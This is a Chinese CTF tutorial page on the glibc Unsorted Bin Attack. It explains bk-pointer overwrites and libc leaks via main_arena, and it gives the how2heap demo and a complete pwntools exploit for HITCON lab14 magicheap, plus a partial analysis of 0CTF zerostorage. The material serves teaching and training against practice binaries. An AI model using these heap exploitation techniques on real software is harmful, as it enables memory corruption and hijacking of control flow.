☰
ctf-wiki 堆利用实战:Unsorted Bin Attack 原理、libc 泄漏与题目攻防
2026/9/28 2:52:31 网站建设 项目流程
  • 文档
  • 网络安全
  • 教程

【免费下载链接】ctf-wiki

Come and join us, we need you!

项目地址:https://gitcode.com/gh_mirrors/ct/ctf-wiki
点击查看免费下载

本文围绕 ctf-wiki 堆利用系列中的 Unsorted Bin Attack 展开,系统讲解 glibc ptmalloc2 中 Unsorted Bin 的链表机制、基于bk指针覆写的任意地址写大数攻击原理,并给出 libc 基址泄漏(Unsorted Bin Leak)、how2heap 演示程序与 HITCON Training lab14、0CTF 2016 zerostorage 两道实战题目的完整利用思路。读完本文,你将掌握 Unsorted Bin Attack 的触发条件、bk覆写时机的精确定位,以及如何把该技术作为前置手段串联起 Fastbin Attack 等后续攻击链。

Unsorted Bin 回顾:来源与使用规则

Unsorted Bin Attack 的名字直白地揭示了它与 glibc 堆管理中 Unsorted Bin 机制的紧密关系。要理解攻击,首先要回答两个问题:Unsorted Bin 中的 chunk 从哪里来?分配时又如何被取用?

基本来源

按照 glibc 的注释与 ctf-wiki 中 heap-structure.md 的归纳,Unsorted Bin 中的空闲 chunk 主要来自三个渠道:

  1. 大 chunk 分割的剩余部分:当一个较大的 chunk 被分割成两半后,如果剩下的部分大于MINSIZE,就会被放入 Unsorted Bin;
  2. 释放非 fastbin 且不与 top chunk 紧邻的 chunk:释放一个不属于 fast bin 范围的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会首先被放到 Unsorted Bin 中(若紧邻 top chunk 则会直接合并进 top chunk);
  3. malloc_consolidate 合并产物:当进行malloc_consolidate时,fastbin 中可能合并的 chunk 会被取出合并,如果合并后的 chunk 不和 top chunk 近邻,就会被放进 Unsorted Bin。

这一"缓冲区"设计在 implementation/malloc.md 与 implementation/free.md 的源码分析中可以互相印证:_int_free中释放普通(非 fastbin、非 mmap)chunk 并完成前后向合并后,会把合并结果插入 Unsorted Bin 链表头部;malloc_consolidate合并 fastbin 后同样以unsorted_bin->fd头插法放入 Unsorted Bin。这正是 glibc 注释所述:"All remainders from chunk splits, as well as all returned chunks, are first placed in the 'unsorted' bin."

基本使用情况

  1. FIFO 遍历顺序:Unsorted Bin 在使用的过程中采用 FIFO 策略,插入时插入到 Unsorted Bin 的头部,取出时从链表尾获取。这与 fastbin 的 LIFO 策略形成鲜明对比,具体遍历方向在_int_malloc中体现为while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)),即沿bk方向取链表尾。
  2. 分配时的流转:在程序 malloc 时,如果在 fastbin、small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足(exact fit),就会直接返回给用户;否则这些 chunk 会被分别插入到对应的 small bin 或 large bin 中,等待后续使用。

理解"从链表尾取、往链表头插"这条 FIFO 规则,是理解后面bk覆写为何能奏效的关键前提。详细的分发代码流程(small request 的 last remainder 特判、exact fit 直接返回、非精确匹配归入 small/large bin 等)可进一步阅读 implementation/malloc.md。

Unsorted Bin Leak:借助链表指针绕过 ASLR

在介绍攻击本身之前,先介绍一个与之配套的小 trick:Unsorted Bin Leak。很多堆利用题目都会先通过它完成地址泄漏。

Unsorted Bin 的结构

Unsorted Bin在管理时为循环双向链表。若 Unsorted Bin 中有两个 bin(实际语义为两个空闲 chunk),链表结构如下:

下面这张图是上述结构在 gdb 调试时的复现:

从两张图中可以看到一个关键事实:在该链表中必有一个节点(不准确地说,是"尾节点"——毕竟循环链表实际上没有头尾之分)的fd指针会指向main_arena结构体内部。main_arena是struct malloc_state类型的全局变量,是 ptmalloc 管理主分配区(main arena)的唯一实例。它位于 libc.so 的数据段(main_arena并不在申请的 heap 中,这一点在 heap-structure.md 的"宏观结构"一节有明确说明)。

在 leak-heap.md 中同样演示了这一手法:将 chunk 释放进 Unsorted Bin 后,fd/bk会写入main_arena相关地址(如0x7ffff7dd1b78),从而反推 libc 基址与堆基址。

Leak 原理

如果我们能把正确的fd指针 leak 出来,就能获得一个与main_arena有固定偏移的地址,这个偏移可以通过调试得出。main_arena是全局变量,会被分配在.data或.bss等段上——只要我们拥有进程所使用的 libc.so文件,就可以计算出main_arena与 libc 基地址的偏移,实现对 ASLR 的绕过。

那么如何取得main_arena与 libc 基址的偏移呢?这里提供两种思路。

通过 __malloc_trim 函数得出

在malloc.c中有这样一段代码:

int __malloc_trim (size_t s) { int result = 0; if (__malloc_initialized < 0) ptmalloc_init (); mstate ar_ptr = &main_arena;//<=here! do { __libc_lock_lock (ar_ptr->mutex); result |= mtrim (ar_ptr, s); __libc_lock_unlock (ar_ptr->mutex); ar_ptr = ar_ptr->next; } while (ar_ptr != &main_arena); return result; }

注意到mstate ar_ptr = &main_arena;这一行直接对main_arena取址,所以我们可以借助 IDA 等工具分析出偏移。例如把 libc.so文件丢进 IDA,定位malloc_trim函数,即可读出main_arena相对基址的偏移(截图见 figure/malloc-trim-ida.png)。这是最通用、不依赖具体符号表细节的做法。

通过 __malloc_hook 直接算出

比较巧合的是,main_arena和__malloc_hook的地址差是0x10,而大多数 libc 都可以直接查出__malloc_hook的地址,这样可以大幅减小工作量。以 pwntools 为例:

main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10

这样一行代码即可获得main_arena与基地址的偏移。

实现 Leak 的方法

一般来说,要实现 leak 需要存在UAF(Use After Free):将一个 chunk 放入 Unsorted Bin 后,再把它处于空闲链表上的fd打印出来。常见的笔记管理(note/menu)类题目都会有show功能,对处于链表尾的节点show就可以获得 libc 的基地址。

需要注意两点实践细节:

  • 堆刚初始化时的场景:CTF 中的利用场景下,堆往往是刚刚初始化的,Unsorted Bin 一般是"干净"的。当里面只存在一个 chunk 时,该 chunk 的fd和bk都会指向main_arena内部(这正对应 free.md 中插入 Unsorted Bin 的代码:bck = unsorted_chunks(av); fwd = bck->fd; p->fd = fwd; p->bk = bck; bck->fd = p; fwd->bk = p;,链表只有一个节点时其fd、bk均指向 bin 头,而 bin 头就在main_arena里)。
  • 32 位与 64 位的输出差异:如果我们无法访问链表尾,只能访问链表头,那么在 32 位环境下,对链表头进行printf等操作往往可以把fd和bk一起输出出来,同样可以实现有效 leak。然而在 64 位下,由于高地址往往为\x00,很多输出函数会在此截断,此时可能难以实现有效 leak。

Unsorted Bin Attack 原理:覆写 bk 实现任意地址写大数

攻击的触发点

在 glibcmalloc.c的_int_malloc中,当把一个 chunk 从 Unsorted Bin 取出时,会执行如下代码:

/* remove from unsorted list */ if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3"); unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);

换而言之,如果我们控制了bk的值,就能将unsorted_chunks (av)(即 Unsorted Bin 链表头,位于main_arena内部的一个地址值)写到任意地址。这就是 Unsorted Bin Attack 的实质:攻击的前提是能控制 Unsorted Bin 中某个 chunk 的bk指针;攻击的效果是实现修改任意地址的值为一个较大的数值。

这里以 shellphish 的 how2heap 仓库中unsorted_bin_attack.c为例(做了一些简单修改以便独立运行):

#include <stdio.h> #include <stdlib.h> int main() { fprintf(stderr, "This file demonstrates unsorted bin attack by write a large " "unsigned long value into stack\n"); fprintf( stderr, "In practice, unsorted bin attack is generally prepared for further " "attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n"); unsigned long target_var = 0; fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); fprintf(stderr, "%p: %ld\n\n", &target_var, target_var); unsigned long *p = malloc(400); fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n", p); fprintf(stderr, "And allocate another normal chunk in order to avoid " "consolidating the top chunk with" "the first one during the free()\n\n"); malloc(500); free(p); fprintf(stderr, "We free the first chunk now and it will be inserted in the " "unsorted bin with its bk pointer " "point to %p\n", (void *)p[1]); /*------------VULNERABILITY-----------*/ p[1] = (unsigned long)(&target_var - 2); fprintf(stderr, "Now emulating a vulnerability that can overwrite the " "victim->bk pointer\n"); fprintf(stderr, "And we write it with the target address-16 (in 32-bits " "machine, it should be target address-8):%p\n\n", (void *)p[1]); //------------------------------------ malloc(400); fprintf(stderr, "Let's malloc again to get the chunk we just free. During " "this time, target should has already been " "rewrite:\n"); fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var); }

程序执行后的效果为:

➜ unsorted_bin_attack git:(master) ✗ gcc unsorted_bin_attack.c -o unsorted_bin_attack ➜ unsorted_bin_attack git:(master) ✗ ./unsorted_bin_attack This file demonstrates unsorted bin attack by write a large unsigned long value into stack In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack Let's first look at the target we want to rewrite on stack: 0x7ffe0d232518: 0 Now, we allocate first normal chunk on the heap at: 0x1fce010 And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free() We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78 Now emulating a vulnerability that can overwrite the victim->bk pointer And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffe0d232508 Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite: 0x7ffe0d232518: 0x7f1c705ffb78

逐步推演攻击流程

下面用一张流程图描述具体发生的操作以及背后的原理:

初始状态时:Unsorted Bin 的fd和bk均指向 Unsorted Bin 本身。

执行 free(p):由于释放的 chunk 大小不属于 fast bin 范围,所以会首先放入到 Unsorted Bin 中(同时已用malloc(500)隔开了 top chunk,避免 free 时直接合并进 top)。

修改 p[1]:经过修改之后,原来在 Unsorted Bin 中的 p 的bk指针就会指向target addr-16处伪造的 chunk,即Target Value 处于伪造 chunk 的 fd 处。

申请 400 大小的 chunk:此时所申请的 chunk 处于 small bin 所在的范围,其对应的 bin 中暂时没有 chunk,所以会去 Unsorted Bin 中找,发现 Unsorted Bin 不空,于是把 Unsorted Bin 中的最后一个 chunk 拿出来。对应的_int_malloc关键代码(节选自 implementation/malloc.md)如下:

while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) { bck = victim->bk; if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) || __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0)) malloc_printerr(check_action, "malloc(): memory corruption", chunk2mem(victim), av); size = chunksize(victim); /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ /* 显然,bck被修改,并不符合这里的要求*/ if (in_smallbin_range(nb) && bck == unsorted_chunks(av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) { .... } /* remove from unsorted list */ unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av);

逐行梳理victim = unsorted_chunks(av)->bk = p之后的赋值过程:

  • victim = unsorted_chunks(av)->bk = p;
  • bck = victim->bk = p->bk = target addr-16;
  • unsorted_chunks(av)->bk = bck = target addr-16;
  • bck->fd = *(target addr - 16 + 16) = unsorted_chunks(av)。

可以看出,在将 Unsorted Bin 的最后一个 chunk 拿出来的过程中,victim 的fd并没有发挥作用,所以即使我们修改其为不合法值也没有关系。但需要警惕的是,经过这次操作 Unsorted Bin 链表可能就此被破坏(unsorted_chunks(av)->bk被指向了一个伪造地址),后续再向 Unsorted Bin 插入 chunk 时可能会出现问题。

最终效果即修改 target 处的值为 Unsorted Bin 的链表头地址(上述输出中的0x7f1c705ffb78):

We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78 Now emulating a vulnerability that can overwrite the victim->bk pointer And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffe0d232508 Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite: 0x7ffe0d232518: 0x7f1c705ffb78

攻击的局限与典型用途

这里可以看到:Unsorted Bin Attack 确实可以修改任意地址的值,但所修改成的值不受我们控制——它是unsorted_chunks(av)这个固定地址值,唯一能确定的是这个值比较大。因此它不能像 Fastbin Attack 那样实现"任意地址写任意值",而只能把目标地址写成一个较大的 libc 地址。尽管如此,它在攻击链中依然有重要价值,典型用途有:

  • 修改循环次数:通过把循环计数变量改写成一个巨大数值,使得程序可以执行多次循环,从而获得更多交互与利用机会;
  • 改写 global_max_fast:修改 heap 中的global_max_fast全局变量,使更大的 chunk 可以被视为 fast bin,从而为后续的Fastbin Attack铺路。改写后,原本超出 fastbin 范围的大 chunk 也能进入 fastbin 链表管理,配合 fastbin 的单链表机制(详见 fastbin-attack.md)实现任意地址分配。

实战一:HITCON Training lab14 magic heap

题目来自 HITCON Training lab14(仓库 ctf-challenges 对应目录)。为了便于本地验证,这里修改一下源程序中的l33t函数,使其可以正常运行:

void l33t() { system("cat ./flag"); }

基本信息

➜ hitcontraining_lab14 git:(master) file magicheap magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9f84548d48f7baa37b9217796c2ced6e6281bb6f, not stripped ➜ hitcontraining_lab14 git:(master) checksec magicheap [*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unsorted_bin_attack/hitcontraining_lab14/magicheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)

可以看出,该程序是一个动态链接的 64 位程序,主要开启了 NX 保护与 Canary 保护,且未开启 PIE(程序基址固定,magic全局变量地址可以直接硬编码)。

基本功能

程序大概是自己实现的堆管理器,主要有以下功能:

  1. 创建堆:根据用户指定大小申请相应堆,并且读入指定长度的内容,但是并没有设置 NULL 结尾;
  2. 编辑堆:根据指定的索引判断对应堆是不是非空,如果非空,就根据用户读入的大小来修改堆的内容——这里出现了任意长度堆溢出的漏洞;
  3. 删除堆:根据指定的索引判断对应堆是不是非空,如果非空,就将对应堆释放并置为 NULL。

同时,我们看到,当我们控制某个变量 v3 为4869,同时控制全局变量magic大于4869,就可以得到 flag 了。这正是 Unsorted Bin Attack 的用武之地:我们无法控制写入值的大小,但unsorted_chunks(av)这个地址值必然是一个巨大的正数,满足magic > 4869的判定条件。

利用

显然,直接利用 Unsorted Bin Attack 即可,步骤为:

  1. 释放一个堆块到 Unsorted Bin 中;
  2. 利用堆溢出漏洞修改 Unsorted Bin 中对应堆块的bk指针为&magic - 16;
  3. 触发漏洞(再申请一个同大小 chunk)即可让magic被改写为 Unsorted Bin 链表头的地址,从而满足magic > 4869。

代码如下:

#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * r = process('./magicheap') def create_heap(size, content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content) def edit_heap(idx, size, content): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx)) r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content) def del_heap(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx)) create_heap(0x20, "dada") # 0 create_heap(0x80, "dada") # 1 # in order not to merge into top chunk create_heap(0x20, "dada") # 2 del_heap(1) magic = 0x6020c0 fd = 0 bk = magic - 0x10 edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk)) create_heap(0x80, "dada") #trigger unsorted bin attack r.recvuntil(":") r.sendline("4869") r.interactive()

补充解读这段 exp 的细节:

  • create_heap(0x20)创建 chunk 0,create_heap(0x80)创建 chunk 1(chunk 1 的实际 chunk 大小为0x90,0x80 + 0x10头),create_heap(0x20)创建 chunk 2 用于隔离,防止释放 chunk 1 后与 top chunk 合并;
  • del_heap(1)释放 chunk 1,使其进入 Unsorted Bin(大小为0x91,不属于 fastbin 范围,且不与 top 紧邻);
  • edit_heap(0, 0x40, ...)利用 chunk 0 的堆溢出(注意这里的菜单允许以任意长度修改内容),覆盖 chunk 1 的 chunk 头:p64(0)为 prev_size,p64(0x91)为 size,随后依次覆盖fd(置 0,不影响攻击)与bk(magic - 0x10,即0x6020b0);
  • 再次create_heap(0x80)触发 Unsorted Bin 的取块流程,执行bck->fd = unsorted_chunks(av),从而把magic(位于0x6020c0,恰为伪造 chunk 的 fd 位置)改写为main_arena内部的地址值;
  • 最后输入4869,程序检查magic > 4869通过,执行l33t()输出 flag。

注意bk填magic - 0x10(即target - 16)的原因:bck->fd的写入位置是bck + 16(64 位下 chunk 头两个字段prev_size+size共 16 字节),要让写入落在magic上,伪造的 chunk 起始地址必须比magic低 16 字节。

实战二:2016 0CTF zerostorage(部分待完成)

注:本小节对应原文档中"待进一步完成"的部分,以下内容忠实保留原文档已分析完成的部分。

这里以 2016 年 0CTF 的 zerostorage 为例进行介绍。该题当时给出了服务器的系统版本和内核版本,可以下一模一样的版本进行调试;但原文档同时指出,在当时的 Ubuntu 16.04 中,由于进一步的随机化,libc 加载的位置与程序模块加载的位置之间的相对偏移不再固定,部分旧策略(如 BrieflyX 的策略)无法再次使用,似乎只能用 angelboy 的策略了。

安全性检查

可以看出,该程序开启了所有的保护:

pwndbg> checksec [*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unsorted_bin_attack/zerostorage/zerostorage' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled

Full RELRO 意味着无法直接改写 GOT 表,攻击需要转向堆内的数据结构或 libc 中的全局变量(如global_max_fast、__malloc_hook等)。

基本功能分析

程序在 bss 段管理存储空间 storage,具有插入(insert)、更新(update)、合并(merge)、删除(delete)、查看(view)、枚举(list)、退出功能。这个 storage 的结构体如下:

00000000 Storage struc ; (sizeof=0x18, mappedto_7) 00000000 ; XREF: .bss:storage_list/r 00000000 use dq ? 00000008 size dq ? 00000010 xor_addr dq ? 00000018 Storage ends
insert-1

基本功能如下:

  1. 逐一查看 storage 数组,查找第一个未使用的元素,但是这个数组最大也就是 32;
  2. 读取 storage 元素所需要存储内容的长度:
    • 如果长度不大于 0,直接退出;
    • 否则如果申请的字节数小于 128,就设置为 128;
    • 否则,如果申请的字节数不大于 4096,就设置为对应的数值;
    • 否则,设置为 4096;
  3. 使用calloc分配指定长度,注意calloc会初始化 chunk 为 0;
  4. 将calloc分配的内存地址与 bss 段的一个内存(初始时刻为一个随机数)进行异或,得到一个新的内存地址(即xor_addr字段);
  5. 根据读取的 storage 的大小读入内容;
  6. 将对应的 storage 的大小以及存储内容的地址保存到对应的 storage 元素中,并标记该元素处于可用状态。但是,需要注意的是,这里记录的 storage 的大小是自己输入的大小!!!
  7. 递增 storage num 的数量。
update-2
  1. 如果没有任何存储,就直接返回;
  2. 读入要更新的 storage 元素的 id,如果 id 大于 31 或者目前不处于使用状态,说明不对,直接返回;
  3. 读取更新后storage 元素所需要存储内容的长度(长度规则同上:≤0 退出;<128 置 128;≤4096 取原值;否则置 4096);
  4. 根据 bss 段对应的随机数获取原先 storage 存储内容的地址;
  5. 如果更新后所需的长度不等于更新前的长度,就使用realloc为其重新分配内存;
  6. 再次读取数据,同时更新 storage 元素。
merge-3
  1. 如果正在使用的元素不大于 1 个,那么无法合并,直接退出即可;
  2. 判断 storage 是否已经满了,如果不满,找出空闲的那一块;
  3. 分别读取 merge_from 的 id 以及 merge_to 的 id 号,并进行相应大小以及使用状态的检测;
  4. 根据最初用户输入的大小来计算两个 merge 到一起后所需要的空间,如果不大于 128,就不会申请新的空间,否则就申请相应大小的新的空间;
  5. 依次将 merge_to 与 merge_from 的内容拷贝到相对应的位置;
  6. 最后存储 merge_from 内容的内存地址被释放了,但并没有被置为 NULL。同时,存放 merge_to 内容的内存地址并没有被释放,相应的 storage 的异或后的地址只是被置为了 NULL。

但是需要注意的是,在 merge 的时候,并没有检测两个 storage 的 ID 是否相同。

delete-4
  1. 如果没有存储任何元素,那就直接返回;
  2. 读取指定要修改的 storage 元素的 id,如果 id 大于 32,就直接返回;
  3. 如果 storage 的对应元素并不在使用状态,那么也同时返回;
  4. 之后就是将元素对应的字段分别设置为 NULL,并且释放对应的内存。
view-5
  1. 如果没有存储任何元素,那就直接返回;
  2. 读取指定要修改的 storage 元素的 id,如果 id 大于 32,就直接返回;
  3. 如果 storage 的对应元素并不在使用状态,那么也同时返回;
  4. 输出对应的 storage 的内容。
list-6
  1. 如果没有存储任何元素,那就直接返回;
  2. 读取指定要修改的 storage 元素的 id,如果 id 大于 32,就直接返回;
  3. 遍历所有正在使用的 storage,输出其对应的下标以及对应 storage 的大小。

漏洞确定

通过上述分析,可以基本确定漏洞主要就集中在 insert 操作与 merge 操作中,尤其是当 merge 两个较小 size 的 storage 时,会出现一些问题。

具体分析:如果在 insert 过程中插入较小的 size(比如 8)的 storage A,那么当进行 merge 时,假设选择 merge 的两个 storage 都为 A,此时程序会直接把 A 的内容再添加到 A 的原有内容的后面,然后接着把 A 对应的存储数据部分的内存 free 掉。但这并没有什么作用,因为 A 存储内容的地址被赋给了另外一个 storage,当再访问 merge 后的 storage B 部分的内容时,由于 B 的存储数据部分的地址其实就是 A 对应的存储数据的地址,所以打印的就是 A 的数据部分的内容。而我们刚刚把 A 对应的内存释放掉,由于 A 不在 fast bin 范围内,所以只会被放到 Unsorted Bin 中(而且此时只有一个),所以此时 A 的fd和bk存放的都是 Unsorted Bin 的一个基地址。

如果我们在 merge 之前曾经删除过一个 storage C,那么在 merge A 后,A 就会插在 Unsorted Bin 的双向链表的首部,所以其fd则是 C 对应的地址,bk则是 Unsorted Bin 的一个基地址。这样我们就可以直接泄露两个地址。

而且需要注意的是,我们还是可以去修改 merge 后的 B 的内容的,所以这其实就是个Use After Free。

利用流程

  • Unsorted Bin Attack:利用 Unsorted Bin Attack 修改global_max_fast全局变量。由于global_max_fast是控制最大 Fast chunk 大小的变量,将它改写为 Unsorted Bin 的地址(一般来说是一个很大的正数),就能使之后的 chunk 都被当作 fast chunk,从而可以进行Fastbin Attack;
  • Fast Bin Attack:在global_max_fast被放大后,配合 UAF 修改 fastbin 链表中 chunk 的fd指针,即可将 chunk 分配到任意可写地址(如__malloc_hook附近),最终劫持控制流。关于 Fastbin Attack 的原理与各变种(Double Free、House of Spirit、Alloc to Stack、Arbitrary Alloc)可参考 fastbin-attack.md。

该小节在原文档中标注为"待进一步完成",完整 exploit 的最终拼接(one_gadget 的选择、global_max_fast覆写后 fastbin 链的精确构造)留待读者结合题目附件与公开 writeup 思路继续推进。

小结

Unsorted Bin Attack 是 glibc 堆利用中一个"小而巧"的组件:

  • 前提:能够控制 Unsorted Bin 中某个 chunk 的bk指针(通常借助堆溢出、UAF 等漏洞);
  • 机制:_int_malloc从 Unsorted Bin 取块时无条件执行bck->fd = unsorted_chunks(av),使unsorted_chunks(av)这个较大的 libc 地址被写入bck + 16处,实现"任意地址写大数";
  • 威力:虽然写值不可控,但可以改写global_max_fast放大 fastbin 范围、改写循环计数延长交互次数,从而串联 Fastbin Attack、House 系列等其他技术,构成完整的攻击链;
  • 配套:配合 Unsorted Bin Leak(泄漏fd/bk中的main_arena地址并换算 libc 基址)可以同时解决 ASLR 绕过问题。

与 Unsorted Bin 相关的更多底层机制(unsorted_chunks(M) = bin_at(M, 1)的宏定义、_int_free的头插法、_int_malloc的 FIFO 取块与 last remainder 特判等)可以在 heap-structure.md、implementation/malloc.md、implementation/free.md 中继续深入阅读;其余堆利用技巧(Unlink、Fastbin Attack、House of Einherjar、House of Force 等)位于 ptmalloc2 目录 下,可对照学习形成体系。

  • 文档
  • 网络安全
  • 教程

【免费下载链接】ctf-wiki

Come and join us, we need you!

项目地址:https://gitcode.com/gh_mirrors/ct/ctf-wiki
点击查看免费下载
上一篇:@atproto/ws-client 实战指南:构建面向长连接场景的 WebSocket 异步迭代客户端
下一篇:Newt连接失败的5个排错技巧:隧道不通问题排查指南

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询